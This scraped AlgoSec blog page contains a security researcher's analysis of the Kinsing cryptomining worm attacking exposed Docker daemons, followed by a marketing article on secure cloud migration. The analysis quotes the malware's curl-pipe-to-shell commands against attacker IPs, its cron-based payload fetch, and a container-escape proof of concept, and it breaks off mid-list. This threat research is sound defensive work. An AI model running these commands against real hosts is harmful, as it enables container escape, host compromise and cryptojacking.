    Infrastructure as code: Connectivity risk analysis Datasheet Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • AlgoSec | Kinsing Punk: An Epic Escape From Docker Containers

    We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • AlgoSec | Modernizing your infrastructure without neglecting security

    Kyle Wickert explains how organizations can balance the need to modernize their networks without compromising security For businesses of... Digital Transformation Modernizing your infrastructure without neglecting security Kyle Wickert 2 min read Kyle Wickert Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/19/21 Published Kyle Wickert explains how organizations can balance the need to modernize their networks without compromising security For businesses of all shapes and sizes, the inherent value in moving enterprise applications into the cloud is beyond question. The ability to control computing capability at a more granular level can lead to significant cost savings, not to mention the speed at which new applications can be provisioned. Having a modern cloud-based infrastructure makes businesses more agile, allowing them to capitalize on market forces and other new opportunities much quicker than if they depended on on-premises, monolithic architecture alone. However, there is a very real risk that during the goldrush to modernized infrastructures, particularly during the pandemic when the pressure to migrate was accelerated rapidly, businesses might be overlooking the potential blind spot that threatens all businesses indiscriminately, and that is security. One of the biggest challenges for business leaders over the past decade has been managing the delicate balance between infrastructure upgrades and security. Our recent survey found that half of organizations who took part now run over 41% of workloads in the public cloud, and 11% reported a cloud security incident in the last twelve months. If businesses are to succeed and thrive in 2021 and beyond, they must learn how to walk this tightrope effectively. Let’s consider the highs and lows of modernizing legacy infrastructures, and the ways to make it a more productive experience. What are the risks in moving to the cloud? With cloud migration comes risk. Businesses that move into the cloud actually stand to lose a great deal if the process isn’t managed effectively. Moreover, they have some important decisions to make in terms of how they handle application migration. Do they simply move their applications and data into the cloud as they are as a ‘lift and shift’, or do they seek to take a more cloud-native approach and rebuild applications in the cloud to take full advantage of its myriad benefits? Once a business has started this move toward the cloud, it’s very difficult to rewind the process and unpick mistakes that may have been made, so planning really is critical. Then there’s the issue of attack surface area. Legacy on-premises applications might not be the leanest or most efficient, but they are relatively secure by default due to their limited exposure to external environments. Moving said applications onto the cloud has countless benefits to agility, efficiency, and cost, but it also increases the attack surface area for potential hackers. In other words, it gives bots and bad actors a larger target to hit. One of the many traps that businesses fall into is thinking that just because an application is in the cloud, it must be automatically secure. In fact, the reverse is true unless proper due diligence is paid to security during the migration process. The benefits of an app-centric approach One of the ways in which AlgoSec helps its customer master security in the cloud is by approaching it from an app-centric perspective. By understanding how a business uses its applications, including its connectivity paths through the cloud, data centers and SDN fabrics, we can build an application model that generates actionable insights such as the ability to create policy-based risks instead of leaning squarely on firewall controls. This is of particular importance when moving legacy applications onto the cloud. The inherent challenge here is that a business is typically taking a vulnerable application and making it even more vulnerable by moving it off-premise, relying solely on the cloud infrastructure to secure it. To address this, businesses should rank applications in order of sensitivity and vulnerability. In doing so, they may find some quick wins in terms of moving modern applications into the cloud that have less sensitive data. Once these short-term gains are dealt with, NetSecOps can focus on the legacy applications that contain more sensitive data which may require more diligence, time, and focus to move or rebuild securely. Migrating applications to the cloud is no easy feat and it can be a complex process even for the most technically minded NetSecOps. Automation takes a large proportion of the hard work away and enables teams to manage cloud environments efficiently while orchestrating changes across an array of security controls. It brings speed and accuracy to managing security changes and accelerates audit preparation for continuous compliance. Automation also helps organizations overcome skills gaps and staffing limitations. We are likely to see conflict between modernization and security for some time. On one hand, we want to remove the constraints of on-premises infrastructure as quickly as possible to leverage the endless possibilities of cloud. On the other hand, we have to safeguard against the opportunistic hackers waiting on the fray for the perfect time to strike. By following the guidelines set out in front of them, businesses can modernize without compromise. To learn more about migrating enterprise apps into the cloud without compromising on security, and how a DevSecOps approach could help your business modernize safely, watch our recent Bright TALK webinar here . Alternatively, get in touch or book a free demo . Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

bottom of page